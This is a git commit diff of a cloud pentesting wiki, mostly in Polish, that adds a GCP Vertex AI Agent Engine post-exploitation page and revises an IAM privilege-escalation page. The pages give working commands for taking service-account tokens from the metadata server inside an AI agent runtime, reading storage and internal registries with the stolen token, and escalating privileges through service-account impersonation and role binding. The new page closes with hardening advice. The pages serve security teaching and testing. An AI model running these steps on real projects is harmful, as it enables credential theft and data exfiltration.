mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
+271
@@ -0,0 +1,271 @@
|
||||
# GCP - Vertex AI Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI Agent Engine / Reasoning Engine
|
||||
|
||||
Ta strona koncentruje się na obciążeniach **Vertex AI Agent Engine / Reasoning Engine**, które uruchamiają narzędzia lub kod kontrolowany przez atakującego wewnątrz zarządzanego przez Google środowiska uruchomieniowego.
|
||||
|
||||
For the general Vertex AI overview check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Why this service is special
|
||||
|
||||
Agent Engine wprowadza użyteczny, ale niebezpieczny wzorzec: **kod dostarczony przez dewelopera uruchamiający się wewnątrz zarządzanego przez Google runtime z tożsamością zarządzaną przez Google**.
|
||||
|
||||
Interesujące granice zaufania to:
|
||||
|
||||
- **Consumer project**: twój projekt i twoje dane.
|
||||
- **Producer project**: projekt zarządzany przez Google obsługujący backend usługi.
|
||||
- **Tenant project**: projekt zarządzany przez Google przeznaczony na wdrożoną instancję agenta.
|
||||
|
||||
Zgodnie z dokumentacją Vertex AI IAM, zasoby Vertex AI mogą używać **Vertex AI service agents** jako tożsamości zasobów, a te service agents mogą domyślnie mieć **read-only access to all Cloud Storage resources and BigQuery data in the project**. Jeżeli kod uruchomiony w Agent Engine może ukraść poświadczenia środowiska uruchomieniowego, ten domyślny dostęp staje się od razu interesujący.
|
||||
|
||||
### Main abuse path
|
||||
|
||||
1. Wdróż lub zmodyfikuj agenta tak, aby kod narzędzia kontrolowanego przez atakującego wykonywał się wewnątrz zarządzanego runtime.
|
||||
2. Zapytaj **metadata server**, aby odzyskać tożsamość projektu, tożsamość konta serwisowego, zakresy OAuth oraz access tokens.
|
||||
3. Wykorzystaj ponownie skradziony token jako **Vertex AI Reasoning Engine P4SA / service agent**.
|
||||
4. Pivotuj do **consumer project** i odczytaj dane storage dostępne w całym projekcie, do których service agent ma dostęp.
|
||||
5. Pivotuj do środowisk **producer** i **tenant** osiągalnych tą samą tożsamością.
|
||||
6. Wypisz wewnętrzne pakiety Artifact Registry i wydobądź artefakty wdrożeniowe tenantów, takie jak `Dockerfile.zip`, `requirements.txt` i `code.pkl`.
|
||||
|
||||
To nie jest tylko problem "uruchom kod w swoim agencie". Kluczowy problem to kombinacja:
|
||||
|
||||
- **metadata-accessible credentials**
|
||||
- **broad default service-agent privileges**
|
||||
- **wide OAuth scopes**
|
||||
- **multi-project trust boundaries hidden behind one managed service**
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Identify Agent Engine resources
|
||||
|
||||
The resource name format used by Agent Engine is:
|
||||
```text
|
||||
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
|
||||
```
|
||||
Jeśli masz token z dostępem do Vertex AI, wyenumeruj bezpośrednio Reasoning Engine API:
|
||||
```bash
|
||||
PROJECT_ID=<project-id>
|
||||
LOCATION=<location>
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
|
||||
```
|
||||
Sprawdź logi wdrożenia, ponieważ mogą leakować **internal producer Artifact Registry paths** używane podczas pakowania lub uruchamiania runtime:
|
||||
```bash
|
||||
gcloud logging read \
|
||||
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
|
||||
--project <project-id> \
|
||||
--limit 50 \
|
||||
--format json
|
||||
```
|
||||
Badanie Unit 42 zaobserwowało wewnętrzne ścieżki takie jak:
|
||||
```text
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
|
||||
```
|
||||
## Kradzież poświadczeń metadanych z runtime agenta
|
||||
|
||||
Jeśli możesz uruchomić kod w runtime agenta, najpierw zapytaj usługę metadanych:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
|
||||
```
|
||||
Interesujące pola obejmują:
|
||||
|
||||
- identyfikatory projektów
|
||||
- przypisany service account / service agent
|
||||
- zakresy OAuth dostępne dla runtime
|
||||
|
||||
Następnie zażądaj tokena dla przypisanej tożsamości:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
|
||||
```
|
||||
Zweryfikuj token i sprawdź przyznane scopes:
|
||||
```bash
|
||||
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
|
||||
|
||||
curl -s \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
-d "access_token=${TOKEN}" \
|
||||
https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
> [!WARNING]
|
||||
> Google zmienił części workflow wdrożeniowego ADK po opublikowaniu badań, więc dokładne stare fragmenty wdrożeniowe mogą już nie pasować do aktualnego SDK. Ważny prymityw pozostaje jednak ten sam: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**.
|
||||
|
||||
## Consumer-project pivot: service-agent data theft
|
||||
|
||||
Po skradzeniu tokena runtime sprawdź faktyczny poziom dostępu service-agent względem projektu konsumenckiego.
|
||||
|
||||
Udokumentowaną, domyślnie ryzykowną możliwością jest szeroki **dostęp do odczytu danych projektu**. Badania Unit 42 konkretnie potwierdziły:
|
||||
|
||||
- `storage.buckets.get`
|
||||
- `storage.buckets.list`
|
||||
- `storage.objects.get`
|
||||
- `storage.objects.list`
|
||||
|
||||
Praktyczne sprawdzenie przy użyciu skradzionego tokena:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
|
||||
```
|
||||
To zamienia skompromitowanego lub złośliwego agenta w **prymityw do eksfiltracji danych z pamięci masowej obejmujący cały projekt**.
|
||||
|
||||
## Pivot w projekcie producenta: dostęp do wewnętrznego Artifact Registry
|
||||
|
||||
Ta sama skradziona tożsamość może również działać przeciwko **Google-managed producer resources**.
|
||||
|
||||
Rozpocznij od przetestowania wewnętrznych URI repozytoriów odzyskanych z logów. Następnie wyenumeruj pakiety za pomocą Artifact Registry API:
|
||||
```python
|
||||
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
|
||||
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
|
||||
)
|
||||
packages_response = packages_request.execute()
|
||||
packages = packages_response.get("packages", [])
|
||||
```
|
||||
Jeśli masz tylko raw bearer token, wywołaj REST API bezpośrednio:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
|
||||
```
|
||||
To jest cenne nawet jeśli dostęp do zapisu jest zablokowany, ponieważ ujawnia:
|
||||
|
||||
- wewnętrzne nazwy obrazów
|
||||
- przestarzałe obrazy
|
||||
- strukturę łańcucha dostaw
|
||||
- inwentarz pakietów i wersji do dalszych badań
|
||||
|
||||
For more Artifact Registry background check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Tenant-project pivot: pobieranie artefaktów wdrożeniowych
|
||||
|
||||
Wdrożenia Reasoning Engine również pozostawiają interesujące artefakty w **tenant project** kontrolowanym przez Google dla tej instancji.
|
||||
|
||||
Badanie Unit 42 wykazało:
|
||||
|
||||
- `Dockerfile.zip`
|
||||
- `code.pkl`
|
||||
- `requirements.txt`
|
||||
|
||||
Użyj skradzionego tokena, aby zenumerować dostępne magazyny i wyszukać artefakty wdrożeniowe:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
|
||||
```
|
||||
Artefakty z projektu najemcy mogą ujawnić:
|
||||
|
||||
- wewnętrzne nazwy bucketów
|
||||
- wewnętrzne odwołania do image'ów
|
||||
- założenia dotyczące packagingu
|
||||
- listy zależności
|
||||
- serializowany agent code
|
||||
|
||||
Blog zaobserwował także wewnętrzne odniesienie takie jak:
|
||||
```text
|
||||
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
|
||||
```
|
||||
Nawet gdy odwoływany restricted bucket nie jest czytelny, those leaked paths pomagają zmapować wewnętrzną infrastrukturę.
|
||||
|
||||
## `code.pkl` and conditional RCE
|
||||
|
||||
If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target.
|
||||
|
||||
The immediate issue is **poufność**:
|
||||
|
||||
- deserializacja w trybie offline może ujawnić strukturę kodu
|
||||
- format pakietu leaks szczegóły implementacji
|
||||
|
||||
The bigger issue is **conditional RCE**:
|
||||
|
||||
- jeśli atakujący może zmodyfikować zserializowany artefakt przed service-side deserialization
|
||||
- a pipeline później załaduje ten pickle
|
||||
- dowolne wykonanie kodu staje się możliwe wewnątrz zarządzanego runtime
|
||||
|
||||
This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive.
|
||||
|
||||
## OAuth scopes and Workspace blast radius
|
||||
|
||||
The metadata response also exposes the **OAuth scopes** attached to the runtime.
|
||||
|
||||
If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.
|
||||
|
||||
If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-to-workspace-pivoting/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Utwardzanie / wykrywanie
|
||||
|
||||
### Prefer a custom service account over the default managed identity
|
||||
|
||||
Current Agent Engine documentation supports setting a **custom service account** for the deployed agent. That is the cleanest way to reduce blast radius:
|
||||
|
||||
- usuń zależność od domyślnego service agenta o szerokich uprawnieniach
|
||||
- przyznaj tylko minimalne uprawnienia wymagane przez agenta
|
||||
- spraw, aby tożsamość runtime była audytowalna i świadomie ograniczona
|
||||
|
||||
### Validate the actual service-agent access
|
||||
|
||||
Sprawdź rzeczywisty dostęp service agenta Vertex AI w każdym projekcie, w którym używany jest Agent Engine:
|
||||
```bash
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--format json | jq '
|
||||
.bindings[]
|
||||
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
|
||||
'
|
||||
```
|
||||
Skoncentruj się na tym, czy przypisana tożsamość może odczytać:
|
||||
|
||||
- all GCS buckets
|
||||
- BigQuery datasets
|
||||
- Artifact Registry repositories
|
||||
- secrets lub internal registries reachable from build/deployment workflows
|
||||
|
||||
### Traktuj kod agenta jako uprzywilejowane wykonanie kodu
|
||||
|
||||
Każde narzędzie/funkcja uruchamiana przez agenta powinno być przeglądana, tak jakby było kodem uruchomionym na VM z dostępem do metadata. W praktyce oznacza to:
|
||||
|
||||
- review agent tools for direct HTTP access to metadata endpoints
|
||||
- review logs for references to internal `pkg.dev` repositories and tenant buckets
|
||||
- review any packaging path that stores executable state as `pickle`
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
|
||||
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
|
||||
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
|
||||
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
|
||||
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
|
||||
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,16 +12,16 @@ Więcej informacji o IAM znajdziesz w:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł zaktualizować rolę przypisaną tobie i nadać dodatkowe uprawnienia do innych zasobów, takich jak:
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł zaktualizować rolę przypisaną tobie i nadać ci dodatkowe uprawnienia do innych zasobów, takich jak:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Możesz znaleźć skrypt automatyzujący **tworzenie, exploit i czyszczenie środowiska vuln tutaj** oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Możesz znaleźć skrypt automatyzujący **tworzenie, exploit i sprzątanie środowiska vuln tutaj** oraz skrypt Pythona do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
Uprawnienie iam.roles.create pozwala na tworzenie ról niestandardowych w projekcie/organizacji. W rękach atakującego jest to niebezpieczne, ponieważ umożliwia zdefiniowanie nowych zestawów uprawnień, które mogą później zostać przypisane do podmiotów (na przykład przy użyciu uprawnienia iam.serviceAccounts.setIamPolicy) w celu eskalacji uprawnień.
|
||||
Uprawnienie iam.roles.create pozwala na tworzenie niestandardowych ról w projekcie/organizacji. W rękach atakującego jest to niebezpieczne, ponieważ umożliwia zdefiniowanie nowych zestawów uprawnień, które później mogą zostać przypisane podmiotom (na przykład przy użyciu uprawnienia iam.serviceAccounts.setIamPolicy) w celu eskalacji uprawnień.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
@@ -31,32 +31,38 @@ gcloud iam roles create <ROLE_ID> \
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Atakujący posiadający wymienione uprawnienia będzie mógł **request an access token that belongs to a Service Account**, więc możliwe jest uzyskanie access tokenu Service Account o większych uprawnieniach niż nasze.
|
||||
Atakujący posiadający wymienione uprawnienia będzie mógł **zażądać access tokenu należącego do Service Account**, więc możliwe jest uzyskanie access tokenu Service Account z większymi uprawnieniami niż nasze.
|
||||
|
||||
Dla **wariantu opartego na zasobach**, w którym kod kontrolowany przez atakującego kradnie **managed Vertex AI Agent Engine runtime token** z metadata service i ponownie używa go jako Vertex AI service agent, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Aby uzyskać więcej informacji, sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Znajdziesz skrypt automatyzujący [**tworzenie, exploit i czyszczenie vuln environment**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Atakujący z wymienionymi uprawnieniami będzie w stanie **utworzyć klucz zarządzany przez użytkownika dla Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account.
|
||||
Atakujący z wymienionymi uprawnieniami będzie w stanie **utworzyć user-managed key dla Service Account**, co pozwoli nam uzyskać dostęp do GCP jako ten Service Account.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do wykorzystania tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Możesz znaleźć skrypt automatyzujący [**utworzenie, exploit i sprzątanie środowiska z luką tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) oraz skrypt w Pythonie do nadużycia tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Dla większej ilości informacji sprawdź [**oryginalne badanie**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Zwróć uwagę, że **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA ponieważ do tego potrzebne jest również uprawnienie `iam.serviceAccountKeys.create`.
|
||||
Zwróć uwagę, że **`iam.serviceAccountKeys.update` nie zadziała, aby zmodyfikować klucz** SA, ponieważ do tego potrzebne jest także uprawnienie `iam.serviceAccountKeys.create`.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** na trzecim Service Account, możesz użyć implicitDelegation, aby **create a token for that third Service Account**. Poniżej diagram wyjaśniający.
|
||||
Jeśli masz uprawnienie **`iam.serviceAccounts.implicitDelegation`** na Service Account, który ma uprawnienie **`iam.serviceAccounts.getAccessToken`** względem trzeciego Service Account, możesz użyć implicitDelegation, aby **utworzyć token dla tego trzeciego Service Account**. Poniżej diagram, który to wyjaśnia.
|
||||
|
||||
|
||||
|
||||
Zwróć uwagę, że zgodnie z [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokena przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej jak uzyskać token korzystając bezpośrednio z API:
|
||||
Zwróć uwagę, że zgodnie z [**dokumentacją**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokena przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej sposób na uzyskanie tokena bezpośrednio za pomocą API:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -67,23 +73,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Atakujący z wymienionymi uprawnieniami będzie w stanie **podpisać dowolne payloady w GCP**. Oznacza to, że będzie możliwe **utworzenie niepodpisanego JWT należącego do SA, a następnie wysłanie go jako blob, aby uzyskać podpis JWT** przez docelowy SA. Więcej informacji znajdziesz [**tutaj**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł **sign of arbitrary payloads in GCP**. Dlatego będzie możliwe **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** przez SA, które jest celem ataku. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisać prawidłowo sformowane JSON Web Tokeny (JWT)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast sprawiać, by google podpisał blob zawierający JWT, używamy metody signJWT, która od razu oczekuje JWT**. Ułatwia to użycie, ale pozwala podpisać tylko JWT, zamiast dowolnych bajtów.
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł **sign well-formed JSON web tokens (JWTs)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast zmuszać google do podpisania bloba zawierającego JWT, używamy metody signJWT, która oczekuje już JWT**. To ułatwia użycie, ale można podpisywać tylko JWT zamiast dowolnych bytes.
|
||||
|
||||
Możesz znaleźć skrypt do automatyzacji [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt w Pythonie do nadużycia tego przywileju [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Więcej informacji znajdziesz w [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł **dodać polityki IAM do service accounts**. Można to wykorzystać, aby **przyznać sobie** uprawnienia potrzebne do impersonacji service account. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
|
||||
Atakujący z wymienionymi uprawnieniami będzie mógł **add IAM policies to service accounts**. Można to nadużyć, aby **grant yourself** uprawnienia potrzebne do impersonate the service account. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -94,25 +100,25 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole permission from AWS**. Jest niezbędne do wykonywania zadań, takich jak uruchomienie instancji Compute Engine, ponieważ daje możliwość „actAs” Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nadmierny dostęp. Dodatkowo wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
|
||||
Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole z AWS**. Jest niezbędne do wykonywania zadań, takich jak uruchamianie instancji Compute Engine, ponieważ daje możliwość "actAs" Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogliby uzyskać nadmierny dostęp. Dodatkowo, wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Podszywanie się pod Service Account może być bardzo przydatne do **uzyskania nowych i lepszych uprawnień**. Istnieją trzy sposoby, w jakie możesz [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Uwierzytelnianie **using RSA private keys** (patrz wyżej)
|
||||
- Autoryzacja **using Cloud IAM policies** (omówione tutaj)
|
||||
- **Deploying jobs on GCP services** (bardziej dotyczy kompromitacji konta użytkownika)
|
||||
- Uwierzytelnianie za pomocą **RSA private keys** (omówione powyżej)
|
||||
- Autoryzacja za pomocą **Cloud IAM policies** (omówione tutaj)
|
||||
- Uruchamianie zadań na usługach GCP (bardziej istotne przy kompromitacji konta użytkownika)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Atakujący posiadający wymienione uprawnienia będzie w stanie wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie zawierają domyślną autoryzację do zasobu.
|
||||
